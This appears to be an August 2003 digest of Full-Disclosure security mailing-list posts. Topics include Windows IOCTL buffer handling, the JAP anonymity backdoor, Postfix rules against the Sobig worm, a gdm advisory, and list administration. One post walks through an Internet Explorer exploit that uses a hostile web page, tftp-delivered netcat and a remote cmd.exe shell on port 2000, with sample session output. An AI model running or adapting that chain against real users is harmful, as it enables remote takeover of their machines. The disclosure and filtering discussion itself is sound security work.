  intermediate drivers use this TransferType value. 

  METHOD_IN_DIRECT, if the underlying device driver will read a large amount
  of data for the request using DMA or PIO and must transfer the data quickly 
  With this method, IRPs containing the I/O control code will supply a pointer
  to an MDL, describing the output buffer at Irp->MdlAddress. 

  METHOD_OUT_DIRECT, if the underlying device driver will write a large amount
  of data to the device for the request using DMA or PIO and must transfer the
  data quickly 
  With this method, IRPs containing the I/O control code will supply a pointer
  to an MDL, describing the data buffer, at Irp->MdlAddress. 

  METHOD_NEITHER, if the driver can be sent such a request only while it is
  running in the context of the thread that originates the I/O control request 
  Only a highest-level kernel-mode driver is guaranteed to meet this
  condition, so this value is seldom used for the I/O control codes passed to
  device drivers. With this method, the highest-level driver must determine
  whether to set up buffered or direct access to user data on receipt of the
  request, possibly must lock down the user buffer, and must wrap its access
  to the user buffer in a structured exception handler. Otherwise, the
  originating user-mode caller might change the buffered data out from under
  the driver or the caller could be swapped out just as the driver is
  accessing the user buffer."

There are even more explicit texts.

In fact, METHOD_NEITHER means literally what the name means: Windows does
not touch or check the buffer pointer or the buffer itself in any way, does 
not perform any checks nor anything else. All text books I've read so far 
even advice not to use METHOD_NEITHER unless one knows exactly what he is 
doing - something the driver writer obviously did not in your example.

The DDK even contains the following statement
(Windows DDK/Kernel-Mode Driver Architecture/Design-Guide/Driver Programming
Techniques/Driver Reliability Issues/Errors in Referencing User-Space
Addresses):

  Errors in Referencing User-Space Addresses
  A driver should validate any address in user space before trying to use it.
  The I/O Manager does not validate such addresses, nor does it validate
  pointers that are embedded in buffers passed to drivers.

  Failure to Validate Addresses Passed in Type3 (METHOD_NEITHER) IOCTLs and
  FSCTLs
  The I/O Manager does no validation whatsoever for METHOD_NEITHER IOCTLs and
  FSCTLs. To ensure that user-space addresses are valid, the driver must use
  the ProbeForRead and ProbeForWrite routines, enclosing all buffer references
  in try/except blocks. 


So, unless you find another IOCTL with another method, I think it is not
correct to call this a windows vulerability. The driver writer *explicitly*
chose to shut down any tests Windows makes, but did not handle this case
correctly. You can blame Microsoft for very much, but how can you blame 
Microsoft for this?

Curious,
   Spiro.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Jeff Pickell]

Shorten it or don't change it  just don't remove it altogether.  I 
am on several mailing lists and while I do filter things into different 
folders, it has always been easier if the subject contains a constant 
such as [Full-Disclosure].  I wouldn't say that it is strictly 
necessary, but it is easier when I am sorting through mail that has yet 
to be filtered.

Just my two cents

Jeff Pickell

On Thursday, August 21, 2003, at 04:48 PM, Shanphen Dawa wrote:

#1

I know in sylpheed you can filter by some of the headers so a subject 
line is kind of redudant.

Looks like this:

List-Unsubscribe: 
,

List-Id: Discussion of security issues 

List-Post: 
List-Help: 

List-Subscribe: 
,

List-Archive: 

On Thu, 21 Aug 2003 10:43:02 -0700
Chris Cappuccio <[EMAIL PROTECTED]> wrote:
Hey folks,

ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.
The subject header is going to change.

This is a survey to see whether people want:

1. To have no subject prefix, that is, we remove [Full-Disclosure]
or
2. To shorten the subject prefix from [Full-Disclosure] to [FD]
or
3. Do nothing
1. The first choice is preferable for me and, I would hope, for most 
folks.
Len says he didn't really want it when he started the list anyways.  
So we are
actually going to change it now.

2. Choice two may be preferable for people who can only filter their 
incoming
messages based on the subject prefix.  So, if you WANT there to 
continue
to be a subject prefix, SPEAK UP!!!

3. Choice three sucks and if anyone wants this SPEAK UP so we know 
just
how many people want this.  This is the least preferrable as it 
clutters
the Subject header and makes the list harder to read through for 
those of us
using a text based e-mail client.

For those of you using procmail or a compatible filter, a good match
for Full-Disclosure that relies on headers you will always see in
list messages goes like this:
:0:
* [EMAIL PROTECTED]
full-disclosure
That matches this header:

Sender: [EMAIL PROTECTED]

Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
to match on this header.
--
Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Nick FitzGerald]

"Joshua Vince" <[EMAIL PROTECTED]> wrote:

> #2 or #3.  How are we supposed to filter emails in our inbox w/o it??

Well, all the following headers are likely to be as unique to F-D list 
messages as any arbitrary Subject: line tag:

List-Unsubscribe: ,

List-Id: Discussion of security issues 
List-Post: 
List-Help: 
List-Subscribe: ,

List-Archive: 


If the problem is then that you have a braindead MUA that cannot filter 
on arbitrary headers, there is an easy and obvious solutio -- get a 
real MUA.



Regards,

Nick FitzGerald

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] JAP back doored

[Drew Copley]

> -Original Message-
> From: Florian Weimer [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 21, 2003 12:23 PM
> To: Drew Copley
> Cc: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] JAP back doored
> 
> 
> "Drew Copley" <[EMAIL PROTECTED]> writes:
> 
> > Why is the state of Germany trojanizing applications which 
> may be run 
> > by anyone on the planet?
> 
> Why is the U.S. government interfering with the publication 
> of security advisories if the corresponding software is being 
> run throughout the world?

I haven't had any problem issuing security advisories. What is this in
reference to?

Pointing the finger elsewhere does not excuse the fact that the German
State has trojanized a popular application which was open to the world
to download. And, indeed, the world did download.

Here are some things I do not care if Germany does:

 - I don't care if they listen to their own wires
 - I don't care if they hack into their own criminals systems
 - I do not care if they use zero day to do this
 - I do not even care if they hack into criminals systems in other
countries if they have some jurisdiction in this and are working with
other authorities. For instance, if they were hacking into terrorist
networks which spanned across the world and were sharing this
information, I would not care.

A German cop has no jurisdiction over me. He has no jurisdiction over
anyone outside of Germany.

This is the same for every country.




> 
> The German government funds the AN.ON project, but allowed 
> for a great deal of independence.  Naturally, this 
> independence does not extend to the law, thanks to separation 
> of powers.  Now a judge has forced the operators to implement 
> a surveillance interface, which is possible because of a 
> design weakness.  But that's just the beginning of the legal 
> process.  The project has announced that it plans to fight, 
> but within the legal system.

This does not absolve them, nothing you can say absolves them. I realize
you have some patriotism here and are speaking from this... But, I also
know you do not want the US government to backdoor US applications from
US companies without telling you.

I know this to be true.



> 
> > How is it they believe they have a right to trojanize 
> someone outside 
> > of Germany?
> 
> Nobody forces you to use the German service if you don't 
> trust the operators or (thanks to recent events) German law 
> enforcement.

That is an empty argument not worth going into.

> 
> > This is blatantly illegal in just about every country outside of 
> > Germany.  Literally.
> 
> No, it isn't.  Most countries with communication 
> infrastructure have laws that regulate law enforcement 
> access.  This is not a "stupid local law" issue.
> 

This also is an empty argument.

Basically, you are saying if it is discovered the NSA has a backdoor in
Windows, that this is okay and no one has a right to complain, even if
they are outside of the US.

I doubt this would be your case in this situation.

I am sure many could say, "Well, this situation is different". 

No, it is not. Let's be honest here.

> Your country is eavesdropping foreign communication as well.

My country has not installed a trojan on my system, to my own knowledge,
all rumors and speculation aside.

They have not hacked into my system.

As to what wires they listen to, if they listen to their own, that is
their business. We have encyption software. If they listen to other
people's wires, that is outside of their domain, then yes, this should
be illegal. But, is it proven? Does it remove the fact that there are a
host of privacy and anonymity tools which we can use?

But, Germany has decided that people don't have a right to use these
tools. They have not tried to do even the honorable thing and break
these things - which is illegal - but they have secretly trojanized the
code.

You want me to applaud this?

Maybe your nation has just given my own nation some new ideas.

Did you help stop this trend?

> 
> > Or, do they believe they are superior to other countries, 
> and they may 
> > invade at will?
> 
> Please check the facts.  Germany doesn't an operate 
> eavesdropping base in the U.S., but the U.S. do in Germany.

I won't even go into that. I do not know what they do there, but their
rights have been worked out with the German government. If you have an
issue with that, you need to take that up with their government. 

If my government allowed German police to trojanize an application I ran
and my government covered this up... I would be furious at my government
first, and at Germany second.

But, none of this is dealing with the matter at hand. These arguments
are all a distraction.

I have not intended to offend your patriotic sensibilities. My apologies
in this regard.

My statements stand for whatever country might do such a thing, my own
included.

...

With some reflection, I realize this was done out of incompetence rather
than out of understanding. I kno

RE: [Full-Disclosure] Re: Filtering sobig with postfix

[Joshua Thomas]

Title: RE: [Full-Disclosure] Re: Filtering sobig with postfix





Or, use:


/^TVqQAAME\/\/8AALgAQAAA$/
   DISCARD Keep your viruses (sobig.f)


Shamelessly stolen from: http://sbserv.stahl.bau.tu-bs.de/~hildeb/postfix/postfix_sobigf.shtml


Cheers,


Joshua Thomas
Network Operations Engineer
PowerOne Media, Inc.
tel: 518-687-6143
[EMAIL PROTECTED] 


-Original Message-
From: Irwan Hadi [mailto:[EMAIL PROTECTED]]
Sent: Thursday, August 21, 2003 6:37 PM
To: Bojan Zdrnja
Cc: [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] Re: Filtering sobig with postfix



On Fri, Aug 22, 2003 at 08:43:45AM +1200, Bojan Zdrnja wrote:
> 
> /filename=.*(your_details|your_document|document_all).pif/ REJECT
> 
> You might want to reject all .pif files, and also:
> 
> /(Virus found|VIRUS ALERT)/ DISCARD
> 
> 
> To discard all those messages originating from improperly configured MTA's,
> which were able to detect Sobig-F, but which still send notification to
> faked from: address.
> 
> After you edit that file just issue:
> 
> # /usr/sbin/postmap /etc/postfix/header_checks
> 


you don't need to postmap the header checks file, because you are using
regexp.
You *only* need to postmap it, if you use hash:, dbm: or btree:


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1052 - 29 msgs

[Jack Whitsitt (jofny)]

Definitely 2 here...

> > 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> > or
> > 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> > or
> > 3. Do nothing

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] MDKSA-2003:085 - Updated gdm packages fix vulnerabilities

[Mandrake Linux Security Team]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1



Mandrake Linux Security Update Advisory


Package name:   gdm
Advisory ID:MDKSA-2003:085
Date:   August 21st, 2003

Affected versions:  9.0, 9.1, Corporate Server 2.1


Problem Description:

 Several vulnerabilities were discovered in versions of gdm prior to
 2.4.1.6.  The first vulnerability is that any user can read any text
 file on the system due to code originally written to be run as the user
 logging in was in fact being run as the root user.  This code is what
 allows the examination of the ~/.xsession-errors file.  If a user makes
 a symlink from this file to any other file on the system during the
 session and ensures that the session lasts less than ten seconds, the
 user can read the file provided it was readable as a text file.
 
 Another two vulnerabilities were found in the XDMCP code that could be
 exploited to crash the main gdm daemon which would inhibit starting
 any new sessions (although the current session would be unaffected).
 The first problem here is due to the indirect query structure being
 used right after being freed due to a missing 'continue' statement in a
 loop; this happens if a choice of server expired and the client tried
 to connect.
 
 The second XDMCP problem is that when authorization data is being
 checked as a string, the length is not checked first.  If the data is
 less than 18 bytes long, the daemon may wander off the end of the
 string a few bytes in the strncmp which could cause a SEGV.
 
 These updated packages bring gdm to version 2.4.1.6 which is not
 vulnerable to any of these problems.  Also note that XDMCP support is
 disabled by default in gdm.


References:
  
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0547
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0548
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0549


Updated Packages:
  
 Corporate Server 2.1:
 47a2d84bfff0e842657e789e085b434d  corporate/2.1/RPMS/gdm-2.4.1.6-0.2mdk.i586.rpm
 8536d89374219e42ad6ca6c441ffb0d1  corporate/2.1/RPMS/gdm-Xnest-2.4.1.6-0.2mdk.i586.rpm
 35ab7f8231548f1daa4571bfb5e77054  corporate/2.1/SRPMS/gdm-2.4.1.6-0.2mdk.src.rpm

 Corporate Server 2.1/x86_64:
 252fc231c85e88411ca50a05f0404688  
x86_64/corporate/2.1/RPMS/gdm-2.4.1.6-0.2mdk.x86_64.rpm
 3f8b47c14e0d7fc4c2d76171e3ee0b5a  
x86_64/corporate/2.1/RPMS/gdm-Xnest-2.4.1.6-0.2mdk.x86_64.rpm
 35ab7f8231548f1daa4571bfb5e77054  
x86_64/corporate/2.1/SRPMS/gdm-2.4.1.6-0.2mdk.src.rpm

 Mandrake Linux 9.0:
 47a2d84bfff0e842657e789e085b434d  9.0/RPMS/gdm-2.4.1.6-0.2mdk.i586.rpm
 8536d89374219e42ad6ca6c441ffb0d1  9.0/RPMS/gdm-Xnest-2.4.1.6-0.2mdk.i586.rpm
 35ab7f8231548f1daa4571bfb5e77054  9.0/SRPMS/gdm-2.4.1.6-0.2mdk.src.rpm

 Mandrake Linux 9.1:
 9d8a97cc5f475f16eeb73caa9d7d8e6b  9.1/RPMS/gdm-2.4.1.6-0.3mdk.i586.rpm
 4f866c5b5b4903d1b0751bcb6dc28d0f  9.1/RPMS/gdm-Xnest-2.4.1.6-0.3mdk.i586.rpm
 91f0ff2421135e32f604d6cb82081439  9.1/SRPMS/gdm-2.4.1.6-0.3mdk.src.rpm

 Mandrake Linux 9.1/PPC:
 0cb8fbd74766c4d0036cab36d57b6081  ppc/9.1/RPMS/gdm-2.4.1.6-0.3mdk.ppc.rpm
 fb0df358c4d6c9a7cf3982c4d3258004  ppc/9.1/RPMS/gdm-Xnest-2.4.1.6-0.3mdk.ppc.rpm
 91f0ff2421135e32f604d6cb82081439  ppc/9.1/SRPMS/gdm-2.4.1.6-0.3mdk.src.rpm


Bug IDs fixed (see https://qa.mandrakesoft.com for more information):


To upgrade automatically, use MandrakeUpdate or urpmi.  The verification
of md5 checksums and GPG signatures is performed automatically for you.

A list of FTP mirrors can be obtained from:

  http://www.mandrakesecure.net/en/ftp.php

All packages are signed by MandrakeSoft for security.  You can obtain
the GPG public key of the Mandrake Linux Security Team by executing:

  gpg --recv-keys --keyserver www.mandrakesecure.net 0x22458A98

Please be aware that sometimes it takes the mirrors a few hours to
update.

You can view other update advisories for Mandrake Linux at:

  http://www.mandrakesecure.net/en/advisories/

MandrakeSoft has several security-related mailing list services that
anyone can subscribe to.  Information on these lists can be obtained by
visiting:

  http://www.mandrakesecure.net/en/mlist.php

If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

Type Bits/KeyID Date   User ID
pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE/RV9ymqjQ0CJFipgRAuI9AJ9ALXjOCO0zsDVeWMY/L9kaQeP

Re: [Full-Disclosure] JAP back doored

[Florian Weimer]

Adrian Nutz <[EMAIL PROTECTED]> writes:

> They are in the cascades Luebeck-Berlin-Dresden and New
> York-Berlin-Dresden. I think that german judges won't have a way to
> force a mix in New York to implment the logging, which gives a cascade
> of two (possibly) unlogged mixes if you use the New York-Berlin-Dresden
> cascade.

According to the AN.ON status page, the New York cascade is not active
right now.

> I believe, that if there where more mixes around and more traffic on
> the, this would be the best way to give a lot of anonymity. 

Especially if there isn't a covert channel from the last to the first
mix in the cascade.

> There should be mixes in many different countries, if possible most of
> them shouldn't have any kind of treaties that allow a fast reaction from
> the police in this countries if some other country wants logs.

Performance would suck, too.  That's why the Dresden-Dresden cascade
is so popular, despite it's principal problem.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Re: Filtering sobig with postfix

[Bojan Zdrnja]

> -Original Message-
> From: Irwan Hadi [mailto:[EMAIL PROTECTED] 
> Sent: Friday, 22 August 2003 10:37 a.m.
> To: Bojan Zdrnja
> Cc: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Re: Filtering sobig with postfix
> 
> 
> > After you edit that file just issue:
> > 
> > # /usr/sbin/postmap /etc/postfix/header_checks
> > 
> 
> you don't need to postmap the header checks file, because you are using
> regexp.
> You *only* need to postmap it, if you use hash:, dbm: or btree:

Of course - I wasn't thinking when I wrote this.

Thanks,

Bojan Zdrnja

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] AD20030820...testing made easy

[Roelof Temmingh]

eEye IE (EIIE:)) bug:
http://www.eeye.com/html/Research/Advisories/AD20030820.html

This here just making it easier to edit commands/play around
...nothing heavy...nothing new...

On 10.10.10.10's web server is test.html:
-

nice webpage
http://10.10.10.10:81/blah.html";>


On 10.10.10.10 ... running as root:
---
PERL script located on http://www.sensepost.com/misc/eEye-SP.pl
Not listed/attached here ... AVs will bitch etc. etc.

When/if victim surfs to http://10.10.10.10/test.html
it's off to port 81.

nc.exe will be TFTP-ed and CMD.EXE shell spawned on
port 2000...see the WSH part.

It goes like this:
--
# perl eEye-SP.pl
[Server accepting clients]
(Victim surfs to test.html on 10.10.10.10...)
incoming...192.168.0.1
incoming...192.168.0.1
^C

# telnet 192.168.0.1 2000
Trying 192.168.0.1...
Connected to blah.pSSSofff.com.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Of course the idea is not to tftp nc.exe...but your own home grown
thingy..(ideally without a console window:))...

'later..
Roelof


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [fd] Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[Mike V]

- Original Message - 
From: "Servicios de Seguridad Informatica" <[EMAIL PROTECTED]>


El Jue 21 Ago 2003 16:23, Nicolas Cartron escribió:
> > I have found private ip address used by google servers. here are the
> > details.
> > [...]
> > This 10.7.0.73 is google private ip address.

>has anyone know how this site know my private address?



Google has apparently hacked your network, and stolen your own private IP
address. SCANDALOUS!
I'd hire a good lawyer.  Maybe if you're *real* lucky you can get it back.
IP theft!  I hear it's the next big thing.


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Re: Popular Net anonymity service back-doored

[Florian Weimer]

"Drew Copley" <[EMAIL PROTECTED]> writes:

> I would think, I would know, there would be a moral obligation to tell
> their users. Moral... A conscience obligation, an obligation of
> conscience.

I usually interpret German privacy law much more liberally than ICPP
and was really surprised that they would do what they did, I was even
downright offended (even though I've never been a JAP user).  But
apparently they decided to fight within the legal system, so they
didn't have much choice.  Personally, I increasingly view the other
option (terminating the service and informing the former users) as a
cheap exit strategy.  The conflict would have ended there, and the
legal limits of anonymity would not have been tested in court (which
still might not happen, but there's now a realistic chance).

The JAP team has broken the unconditional promise not to spy on users,
right.  But the project continues, on another level and with fewer
users, and I hope we will still learn quite a bit from it.

> At the very least, they could have exposed this anonymously on the
> Usenet or someplace. (Indeed...)

They did, in a rather convoluted way.  I don't think it's fair to
criticize them on this point.

I'm worried mainly by three things:

  (a) Quite a few pieces of information are public now.  Why don't
  they update their web pages accordingly, including the Official
  Declaration?  (Maybe the ongoing criminal investigation
  interferes with that, maybe some employees are on vacation.)

  (b) The ICPP claims that "only the access to the IP address
  mentioned in the judicial instruction will be recorded".  The
  mix source code implements something else, which allows for far
  broader surveillance (and not for monitoring of a specific IP
  address).  Why is there such a discrepancy?

  (c) An employee of TU Dresden (the university that operates the main
  mix chain used by AN.ON) described the logging extension in
  2001, and announced its implementation for 2002.  But this
  didn't happen, and the JAP team didn't fix the fundamental
  weakness of the service, either: TU Dresden still operate both
  ends of the most usable mix cascade.

> Who cares if they watch their own wires? But, they have no right to put
> code on people's systems outside of Germany.

In fact, they didn't.  The surveillance is implemented in the mixes.
It is not compiled in by default.  The binary they ship does not
contain the code.

Actually, this is the main weakness of the JAP service: The JAP team
could implement logging on their own mixes (and this was even
documented).

> Are they saying they do not believe in boundaries anymore?

It's modern to sue German companies in the U.S. because law offers
punitive damages there (which don't exist in German law).

Legal relationships between countries are quite messy.  International
treaties are blatantly ignored or carefully undermined.  U.S. courts
claim jurisdiction over any place in the world (except the other 49
states).  In most countries, courts have applied local law to foreign
companies offering services over the Internet.

Of course you can sue the Federal Republic of Germany over the alleged
breach of your privacy, but ICPP's way of tackling the matter is more
likely to succeed, IMHO.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Pinging... And lots of it..

[Calvyn]

Hey people,

At around 3:30 today my campus lite up like a Christmas tree. I
have hundreds of computers pinging each other all over campus. Luckily
none of them are from the subnet that I administer. :) I did some
searchin but didn't read about any of the new worms using ICMP. Anyone
have any ideas? 

Thanks,
-Calvyn-

'It's all fun and games till someone pings an eye out.'


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] IE6 Download

[Peter Ellison]

Hello List.

I downloaded the patch via Windoze update for Exploder 6 this Morning. No
problems with that 2 Min max. Took the shut down option, system reboots all
OK. Point Browser @ my ISPs home page to check the config, the firewall
tells me modules have changed (as expected) and I release the application,
so far so good. It's at this stage the firewall starts to object as shown
below.

80.15.236.33 = AKAMAI FT UKPort 1421 = Gandalf?

Am I being paranoid or IS there something going on here.



**  2003/08/21  10:39:58 +1:00 GMT  Internet Explorer   127.0.0.1:1026 
 N/A
FWIN2003/08/21  10:40:02 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
**  2003/08/21  10:40:04 +1:00 GMT  Internet Explorer   0.0.0.0:0  
 N/A  MOD
CHANGED
**  2003/08/21  10:42:46 +1:00 GMT  Internet Explorer   0.0.0.0:0  
 N/A  MOD
CHANGED
FWIN2003/08/21  10:43:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
FWIN2003/08/21  10:45:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
FWIN2003/08/21  10:47:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
FWIN2003/08/21  10:49:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
FWIN2003/08/21  10:51:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
FWIN2003/08/21  10:53:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
FWIN2003/08/21  10:55:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED
FWIN2003/08/21  10:57:48 +1:00 GMT 80.15.236.33:80> 81.152.xx.xx:1421  
 TCP
(flags:AF)BLOCKED


Peter Ellison

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [inbox] Re: Fwd: Re: [Full-Disclosure] Administrivia: BinaryExecutables w/o Source

[Nick FitzGerald]

"Jason Coombs" <[EMAIL PROTECTED]> wrote:

> Nick FitzGerald came to his senses and removed me from the pedestal he had
> placed me on, and then launched into a well-written barrage of fact, beginning
> thus:

Nice...   8-)

> >> I agree completely. The sobig spam is valuable -- it shows us who we
> >> should not trust to operate a computer.
> >_If_ you know what to take from the headers _AND_ have omniscient
> >access to the mythical IP-to-user mapping address list...
> 
> Ah, but Nick, I *DO* have omniscient access to the non-mythical IP-to-user
> mapping list -- and so do you. ...

No, we don't.

> ...  How many FD subscribers post to the list from
> the ISP "NetZero/United Online/untd.com" out of Honolulu, Hawaii? I can assure
> you that I am the only one.
> Received: from smtp04.lax.untd.com (outbound28-2.lax.untd.com [64.136.28.160])
<>

Posting is not the issue.  The virus can harvest the posters' addresses 
(yours and mind and Thor's and Len's and all the others) from the 
drives of any _subscriber_.  It then can post from that machine using 
whichever of the addresses it chooses.  How many subscribers (who have 
posted or not) are on popular cable, DSL and even dial-up connects?

You may be the only poster from that domain, but are you sure you're 
the only subscriber?  And what about non-subscribers who, for whatever 
reason (perhaps looking for help with just this virus) searched the 
web, found some web archive of F-D and thus gave up your address to the 
virus through the contents of their local web cache directories?

> Likewise, you are quite possibly the only person who posts from CLEAR Net
> Mail, New Zealand. At least while using your mobile device...
> 
> From: Nick FitzGerald <[EMAIL PROTECTED]>
> Received: from smtp2.clear.net.nz (smtp2.clear.net.nz [203.97.37.27])
<>

Yep -- but am I the only person using clear.net.nz who susbscribes?

And recall, the worm does not use the default (or any particular) mail 
client on the victim machine.  As has become the fashion among 
"successful" self-mailers with the introduction of object blocking on 
the Outlook application object, Sobig rolls its own SMTP, even going so 
far as trying to properly look up MX records for its targets, so all 
you get in the virus' message headers is what the first SMTP relay it 
hit records in its Received: headers.

Finally, consider the subscriber to poster (or "lurker") ratio.  Len 
may have a better idea, but I'd hazard that in large-ish lists such as 
this, fewer than 10% of subscribers post and probably less than half of 
them are "regular" posters.

> I appreciate your attention to detail, ...

Thank-you.

I hope you still appreciate it given the further flaws in your thinking 
about this incident described above.

> ... but the relevant detail you missed was
> my conclusion, a witty challenge to Len Rose to stop concealing the truth and
> give us full disclosure:

I did not miss that that was rather playful.

However, I also noted that your post, along with several others 
yesterday, supported a chronically ignorant view of how to properly 
deal with such messages and I felt the greater good was served by 
challenging and correcting that ignorance, as Sobig.F is just one of 
many of this type of malware event and there will certainly be many 
similar ones yet.  Thus it seems that having the folk who can greatly 
influence the handling of such events be properly informed of the 
issues they must consider when faced with such incidents, before 
launching any of the apparently popular but hare-brained "solutions" 
that have been suggested, is a good thing and contributes to the 
overall solution, rather than to the problem.

<>
> Thor Larholm then came up with a very good idea to post a Web-based
> full-disclosure archive of everything received not just everything that ends
> up distributed to the list. The potential forensic value of Thor's suggestion
> is staggering.
> 
> Thor Larholm wrote:
> > In that case, I would prefer if Len put up an archive of all the virus
> > mails sent to FD so everybody on the list could have fun analyzing it.
> > Couple it with the archives of normal posts and some regging+grep'ing
> > you will be bound to find correlations between posting IP addresses.

I'm sure you might find a small number of such interesting detects, but 
the odds are very high that the infected parties that seem to have FD 
posters' addresses in their sights are not themselves posters to FD 
(recall the lurker ratio).  You may find and shame a few of the lamer 
posters (who are probably generally derided or ignored anyway) but most 
of the virus-sending IPs will turn up no reasonably verifiable 
relationships to known FD posters because, as I've said many times now, 
there are many, many ways the FD posters' addresses get onto Sobig 
victims' machines and thus into Sobig's target list.  On balance, I 
just don't think it would be worth the effort of even looking.

> Nick, I truly did not deserve to be on yo

Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[idoru]

My message was for Servicios de seguridad informatica :D


Regards ,

-- 

David F. Madrid ,
Madrid , Spain

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[morning_wood]

Title: Message



i kinda discoverd google's use as a proxy simply by 
doing 
http://translate.google.com/translate?u=http%3A%2F%2Fwhatismyip.com
 
and is essentally the basis of http://exploit.wox.org/tools/googleproxy.html 

 
 
Donnie Werner
Chief Technical Officer
E2 Labs Information Security Pvt. 
Ltd.
http://e2-labs.com 

 
 
 

  - Original Message - 
  From: 
  Bojan 
  Zdrnja 
  To: [EMAIL PROTECTED] 
  
  Sent: Thursday, August 21, 2003 2:19 
  PM
  Subject: RE: [Full-Disclosure] Google 
  Private IP is 10.7.0.73 !!
  
  Excuse my ignorance, but what's the point of this?
   
  If 
  you read that page, you'll see that they use proxy.google.com, which adds 
  X-Forwarded-For header, so that's how you got internal IP address, but I don't 
  really see any use of this.
   
  So 
  what, everyone knows they are using *INTERNAL* IPs on their *INTERNAL* 
  network.
   
  You'll also see that IP changes with time, what is obvious as they 
  probably have a server farm.
   
  Regards,
   
  Bojan Zdrnja
  

-Original Message-From: 
[EMAIL PROTECTED] 
[mailto:[EMAIL PROTECTED] On Behalf Of Gaurav 
KumarSent: Friday, 22 August 2003 7:11 a.m.To: 
[EMAIL PROTECTED]Subject: [Full-Disclosure] Google 
Private IP is 10.7.0.73 !!
-BEGIN PGP SIGNED MESSAGE-Hash: 
SHA1
 
Hello friends!
 
I have found private ip address used by google 
servers. here are thedetails.
 
make sure you have google toolbar 
installed.
 
1. go to www.showmyip.com2. it will show your 
ip address.3. now right click and select Translate Page4. it will 
now show your ip address in this format 1.2.3.4, unknown5. Now again 
right click and select Translate Page6. this time you will get google 
private ip address. the format is10.7.0.73,1.2.3.4,unknown
 
This 10.7.0.73 is google private ip 
address.
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Gaurav KumarChief 
Information Security Analyst
 
E2 Labs Information Security Pvt. Ltd.Road 
no. 3 , Banjara HillsHyderbad-34APIndia
 
[EMAIL PROTECTED]www.e2-labs.com
 
PGP public key at-http://mycgiserver.com/~ethicalhackers/pgp.txt
 
Phone(s)-Mobile    +91 40 
31068650Tele/Fax +91 40 23555942 
(ext-24)=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
-BEGIN PGP SIGNATURE-Version: 
PGPfreeware 7.0.3 for non-commercial use 
 
iQA/AwUBP0UZKP7pOx+pP+hiEQK3mACdFKQE1ZW8ugMpxgOdjpaMYRayI6UAoOEBnoQh/WR3ZZz2L2CR0ZxzbNls=iryU-END 
PGP SIGNATURE-

Re: [Full-Disclosure] Idea

[Irwan Hadi]

On Thu, Aug 21, 2003 at 11:12:06AM -0700, D B wrote:

> i have always had an idea but never any place to
> try it
> 
> i would like people with experience to tell me what
> they  think of it
> 
> assuming a  unix / linux operating system as a server
> 
> install the services  get them configured
> ...remove all booting hardware except the drive 
